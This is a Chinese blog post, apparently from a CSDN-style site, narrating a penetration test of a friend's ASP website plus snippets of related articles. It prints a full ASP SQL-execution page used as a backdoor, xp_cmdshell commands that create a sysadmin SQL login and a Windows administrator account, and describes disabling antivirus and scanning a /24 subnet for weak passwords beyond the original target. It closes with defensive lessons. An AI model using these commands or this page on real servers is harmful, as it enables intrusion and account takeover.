记一次渗透测试

记一次对某网站的渗透测试 今天正在开开心心的逛着B站,突然微信头像闪动,一看,原来是小黑让我帮忙给一个网站做安全检测,他说这是他叔叔的公司,然后直接丢给我一个链接。 初步测试 拿到网址,首先打开看了一下。 看起来比较简单,注意到右下角有资讯,随便点开一篇。 存在动态参数id,判断一下是否存在SQL注入,尝试使用?id=1586and1=1,直接提示参数非法! 然后继续尝试其他注入方式,依旧提示参数非法!没办法,只好祭出神器SqlMap,一顿操作。 sqlmap-u"http://www.... 阅读详情
 个教师朋友做了一个学习网站,让我帮忙检查安全性,只提供了网页地址。
首先使用superscan扫了一下常用端口,没有问题,只开了80,返回IIS5.0,win2K差不离;
扫描常见cgi/IIS漏洞,没有问题,打了sp4补丁,到目前为止还不错;
到网页上转了转,发现是用asp写的,自然要扫扫sql注入了,也许你以为这次成功了吧,很不幸,没有。
自己做的网页,自然没有asp源代码看,后台也扫不出来,这下没办法了吧?

听说他要做个bbs,但是网页上没有链接,于是根据他的习惯和网站名称猜bbs名字,
终于,哈哈,http://x.y.z.v/xxxbbs出来了,进去看了一看,晕倒,bbs也是自己搞的,很简陋
已经有几篇测试文章了。
不过,有个细节,每个发文人都有一副照片,而且不是QQ里面那种,同时看看了路径,/xxxbbs/myfaces
上传上去的?......
立马申请一个用户进去,果真可以换脸,哈哈哈
upfile.asp,打开居然看到了“文件名”、上传
看着upfile.asp的界面咋这么眼熟呢?......dvbbs早期版本抄过来的?

不会这么乐,碰到上传漏洞了吧?
winsockexpert抓cookie,再上nc大法传asp后门,晕,还真传上去了......
至此网站服务器已经搞定,至于提权什么的,我又不是真正的入侵,没必要了

打开后门,浏览磁盘,顺便看看网站connectDB.asp,得到sql服务器地址a.b.c.d、登陆名sa及密码!
不用想了,sqlexec连接之......失败!
tell me why?
有点意思......
再上superscan扫a.b.c.d,开了21(serv-u 6.1)、3389,
1433(ms-sql)哪里去了?估计是有防火墙,只允许网站IP连接1433,为了测试,
用asp后门抓下他的connectDB.asp,在自己的asp空间里面做个测试网页,
通过这个connectDB.asp连接他的sql,果真连接不上,看了防火墙做了IP地址限制无疑。

临时写了一个sql执行页面,传到他的网站,网站是可以连到sql服务器的嘛,呵呵:
======================test.asp==============================
<!--#include file="connectDB.asp"-->
<form><p>
<input type="text" name="strSQL" size="128"></input></p>
<input type="submit" name="execute"></input>
</form>
<%
        Dim strSQL,objRS,rs
        Set objRS = Server.CreateObject("ADODB.Recordset")
        strSQL = Request("strSQL")
        Response.Write "strSQL=" &strSQL
        If strSQL <> "" Then
                Err.Clear
                objRS.Open strSQL ,conn
%>
<table border=1 id=tbl style=border-collapse:collapse>
<%
Do While NOT objRS.EOF
                For Each rs in objRS.Fields
%>
<tr><td><%=rs.Name%></td><td><%=rs.Value%></td></tr>
<%
                Next
objRS.MoveNext
Loop
        End If
        CloseDatabase'这个是connectDB.asp定义的,出于好习惯,要关一下
        Response.End
%>
======================test.asp==============================
到这里,就是纯粹的sql知识复习了
哈哈,不用想了,依次提交:
SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell'
返回1,xp_cmdshell没关,这老哥看来刚弄完不久,急吼吼让我测试,这下测出大事了,呵呵!
exec master..xp_cmdshell 'dir c:/'
返回"驱动器 C 中的卷是",哈哈,真的没问题
exec master.dbo.sp_addlogin 'L0op8ack'
加一个sql帐号
exec master.dbo.sp_password null,'mypassword','L0op8ack'
设置sql帐号密码
exec master.dbo.sp_addsrvrolemember 'L0op8ack',sysadmin
将sql帐号升为sysadmin,这个需要sa或者dbo权限才行,
当然,如果你够闲,可以重写sp_addsrvrolemember过程,去掉身份判断部分即可
exec master.dbo.xp_cmdshell 'net user L0op8ack /add'
有3389,自然要加个系统帐号
exec master.dbo.xp_cmdshell 'net user L0op8ack mypassword'
给系统帐号设个密码,这里设简单一点,'"之类的特殊字符可能sql会出错
exec master.dbo.xp_cmdshell 'net localgroup administrators L0op8ack /add'
系统帐号L0op8ack光荣加入administrators!

开始->运行->mstsc,连接,3389终于到手,进去溜达溜达
哇赛,1G内存,160G硬盘,好有钱哪(/-___-/)
ipconfig /all
居然是个/24的掩码,晕倒,看来今天想收手都难啊,
杀掉各种杀毒软件,就地当各种扫描软件,跑了1个小时,又有20多台IPC弱密码出来了
当然,是我的密码字典不错,呵呵!

到此就算结束了,
删除sql服务器上的系统帐号,开启杀毒软件,删除sql帐号,
删除网站上的test.asp和asp后门,将upfile.asp重命名

赶紧打电话给这位老哥,看来晚上这顿饭有人管了,哈哈!

因为一个小小的错误,导致大面积机器被控制,这里需要总结一下:
1)网站为了图方便,使用老版本的dvbbs upfile.asp;
2)使用了sa帐号连sql服务器
3)没有去掉sql上的不必要过程
4)即使在防火墙(硬件的)保护范围内,相互之间也不是全部可信的,个人防火墙还是需要的
5)不要让你的对手太了解你的个人习惯|:)

                                                                                                                                       Code by amxku

记一次某单位的内网渗透测试 网卡信息、补丁信息、杀毒进程、用户在线情况、是否存在域、翻文件查找数据库密码、浏览器保存密码、查看路由等。使用越权加文件上传拿到shell。192.168.xx.x 管理员。通过哥斯拉上线msf。 阅读详情

相关推荐

【渗透测试】浅记一次挖洞经历

一次比较愉快的挖洞历程 一开始拿到主站,翻了翻没啥可用的中间件漏洞版本信息。所以,还是那句老话:柿子还是要挑软的捏。光速去搜寻他的旁站(我用的是奇安信的Hunter)。 果不其然搜索到了他的后台登录系统。既然是登录,当然要用BP去爆破一下他的密码了。一般后台用户名要么是admin,要么是root。 很幸运,又让我成功的爆破了出来他的密码。弱口令+1。 进入后台,就要尝试有没有出现未授权访问了,没有的话也别灰心,继续去找它的功能点,比如他的搜索框。(很容易有SQL注入) 用BP抓..

网络安全从业者的学习笔记 8087

黑客装x!

有没有看过,很多视频和网络上出现黑客代码特效的效果呢?很多人第一时间想到的是LINUX下面的CMATRIX命令,然而, 无论是CMATRIX还是HOLLYWOOD,都是需要进入LINUX系统的,对于普通的技术白人来说,这无疑成本太高:总不能,为了装一次B,去安装折腾一套LINUX系统吧?在这里本人推荐一个装扮黑客攻击效果的演示网页,你只需要打开浏览器,敲入网址,就可以愉快地装B啦~!

qq_29887971的博客 5818

记一次内网渗透测试实训总结

时间很快就来到了学期的最后一个月,和上学期一样,最后的几周是实训周,而这次实训恰好就是我比较喜欢的网络攻防,因为之前学过相关的知识,做过一些靶场,相比于其他同学做起来要快些,不过内网渗透也还是头一次,得益于这次的内网渗透靶场环境,小小地体验了一下,期间也踩了许多坑,也陆陆续续地解决掉了。所以就以本篇文章做个总结,目的在于梳理所学到地知识点和分享。物理机 (win 10) ip:172.20.10.1工具:、攻击机(kali) ip:172.20.10.129工具:、、、、、 …靶场拓扑图首先需要拿到...

qq_36410265的博客 4981

黑客入侵效果网页html,满屏绿字滑下效果

黑客入侵效果网页html代码 效果如下图: 想要改变绿色的字就把下面代码中的编程ID改成你想要的就行,复制代码粘贴文本文档,改后缀名为html即可。 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <

weixin_43474701的博客 1万+

记一次对某企业的渗透测试实战

作者:Vulkey_Chen前言本文总结一下漫长的渗透测试过程,想尽了各种方法,终于找到了突破口。so没有绝对的安全,所谓的安全性其实都是相对的~信息踩点在这里其实没办法去做一些有价值的收集,只能踩点,踩坑。信息难点:传输加密:要做渗透的目标是一个APP,根据抓到的请求包发现这个APP是经过某产品加固过的,所以HTTP的POST请求正文部分(Data)是神奇的密文~分析难点分析:信息踩点其实也是解...

xiaoi123的博客 7799

记一次曲折的渗透测试经历

昨天把jexboss脚本整合到我的多线程框架里,扫了一遍全国jboss,发现一千多个shell.工具地址在:https://github.com/Xyntax/POC-T随意拿了一个看似大厂商的,作本次入侵测试发现传送门通过jexboss拿到shell,看到是centos的机器(IP已打码).看起来是root,确认一下.不稳定的传送门shell的问题接下来执行命令的时候,发现这个jexboss自带的

乐枕的家 1万+

记一次网站的渗透测试

朋友叫我帮忙,对一个网站做一下测试。主要目标是看看能不能进入服务器,收集一些建站者信息。 朋友平时待我不薄,此时怎可出言拒绝?经过授权后,直接开搞! (情景发生时间距今较久,请各位读者酌情参考) 用扫描器扫了一下,没有发现漏洞。发现网站存在CDN: 看了下历史解析记录,还好不多。通过判断,确定最后一条为真实IP: 查看下IP绑定的网站,查到3个域名,其中一个无法访问,另一个是个后台: 我们先来看这个后台: 随便输入一个账号和密码,提示数据不存在: 扫了下目录,只扫出个upl

Hacker_DB的博客 1052

记一次常规的网络安全渗透测试

前言互联网突破第一层内网第二层内网总结上个月根据领导安排,需要到本市一家电视台进行网络安全评估测试。通过对内外网进行渗透测试,网络和安全设备的使用和部署情况,以及网络安全规章流程出具安全评估报告。本文就是记录了这次安全评估测试中渗透测试部分的内容,而且客户这边刚刚做过了一次等保测评,算一下时间这才几周不到,又来进行测试,实在是怕没成绩交不了差啊。

2401_89294392的博客 1006

记一次渗透测试实战

免责声明 本文内容涉及程序/技术原理可能带有攻击性,仅用于安全研究和教学使用,务必在模拟环境下进行实验,请勿将其用于其他用途。 因此造成的后果自行承担,如有违反国家法律则自行承担全部法律责任,与NowSec及分享者无关 0.起因 博主从周一到周五一直在收同一个公司发送的垃圾短信(这从短信链接中的域名可以看出),但是当博主点进网页看的时候,发现这是可以说是一家骗子网站吧。网站所卖的东西...

qq_45434762的博客 2074

图片滤镜工具

图片滤镜工具,用来调节图片滤镜的工具,生成滤镜参数

电子学基础教材

电子学基础教材 本书从 电器原理,电阻,电容,MOSFET,放大器等做基本的简介,便于快速查阅,了解相关资料

记一次简单的渗透测试流程

记一次简单的渗透测试(从信息收集到远程桌面登录) 一.信息收集 你是否做了足够的信息收集? 第一次拿到这个页面之后尝试了用一些常用的密码登录,发现不可以登录; 之后查看页面源代码,审查元素发现得到一些信息,他是php语言,用的是IIS7.5; 然后进行端口扫描,目录爆破;(这里使用nmap和御剑) 扫描目录后发现www,zip是网站所有的目录,审查的时候发现了账号密码; 二.网页中的敏感信息 网站中经常会有一些敏感信息泄露出来 三.登录网站之后有没有新的漏洞发现 登录成功之后可以利用bp抓包分

qq_45773001的博客 837

黑客网(hack)程序源码

模板操作方法如下: 1. 将压缩文件里目录下的内容放到你的网站目录中 2. 设置默认模板:登陆后台 -- 基本设置 -- 修改“默认模板皮肤目录”为 “temo_1” 3. 返回后台管理首页“重建系统缓存”。恭喜您!现在你可以开始使用此模板 其它说明: images -- 新云图片目录 保存模板图片及CSS样式的目录 _template -- 模板文件目录 保存所有模板文件,如果要修改模板请修改此目录的文件 js -- JS文件目录 保存所有必须的JS文件,如导航滑动效果 USERS -- 用户文件目录 用户登陆文件 注:本模板头部的大类为静态调用,请根据自己的目录修改模板文件夹中include下的header.html,首页分类调用修改首页模板temo_1index.html

记一次内网渗透测试经历

说刚开始接触安全测试时,没有一个系统的概念,前辈仍一个内网测试网站,让我把的shell拿下来,那我就开始吭哧吭哧的干起来。首先,做渗透测试要有个思路,不能埋头苦干。主要就这几种思路,下面就开始实施。

2401_88750741的博客 842

从零构建个性化AI助手:基于Mem0与本地大模型的记忆化实践

本文详细介绍了如何利用Mem0与本地大模型构建个性化AI助手,实现记忆化应用结构的实践方法。从开发环境搭建、记忆存储机制到个性化交互实现,提供了完整的解决方案和代码示例,帮助开发者在本地环境中创建能记住用户习惯和偏好的智能助手。

weixin_29214335的博客 465

Ceres Solver:从入门到使用

Ceres Solver是谷歌开源的C++非线性优化库,能够解决有约束或无约束条件下的非线性最小二乘问题。2010年之后大量的运用在谷歌的产品开发中,尤其在谷歌开源的cartographer中被大量的使用。 ceres可以在Linux,Windows,macOS,Andrioid,IOS系统进行安装使用,详情可查看下方的官网链接。 Ceres Solver 官网:http://ceres-solver.org/

非晚非晚的博客 1万+

记一次有趣的渗透测试

最近在做渗透测试的练习中遇到一个比较有意思的站点,在此记录下来,希望能给向我一样刚入安全圈不久的萌新提供一些基本思路吧。 在拿到目标站点的域名时,首要的工作肯定是进行一系列的信息搜集工作,具体搜集哪些信息以及怎么有效搜集,可以参考 Google 或者百度。 下面为了文章的简洁性,我只提及我会利用到的一些站点信息。 首先网站的真实 IP 并没有隐藏在 CDN 后面,直接在 ThreadBook 上查看同 IP 的旁站,显示足足 189 个! 看到这个数的时候,说实话内心是沉重的,虽然可以从众多的旁

hl1293348082的专栏 618

微生物组数据分析实战:从OTU/ASV过滤到相对丰度转换的标准化流程

本文详细介绍了微生物组数据分析中从原始OTU/ASV表格到标准化相对丰度表格的完整预处理流程。通过基于绝对丰度和出现频率的过滤步骤有效剔除测序噪音与污染,再通过相对丰度转换解决样本间测序深度差异问题,为后续的多样性分析和差异比较奠定可靠基础。文章提供了清晰的R语言实战代码与参数设置思路。

tree的博客 1259
上一篇: PHP注入技术
下一篇: 另类思路入侵
HackCode
博客等级 码龄18年 12粉丝 55原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值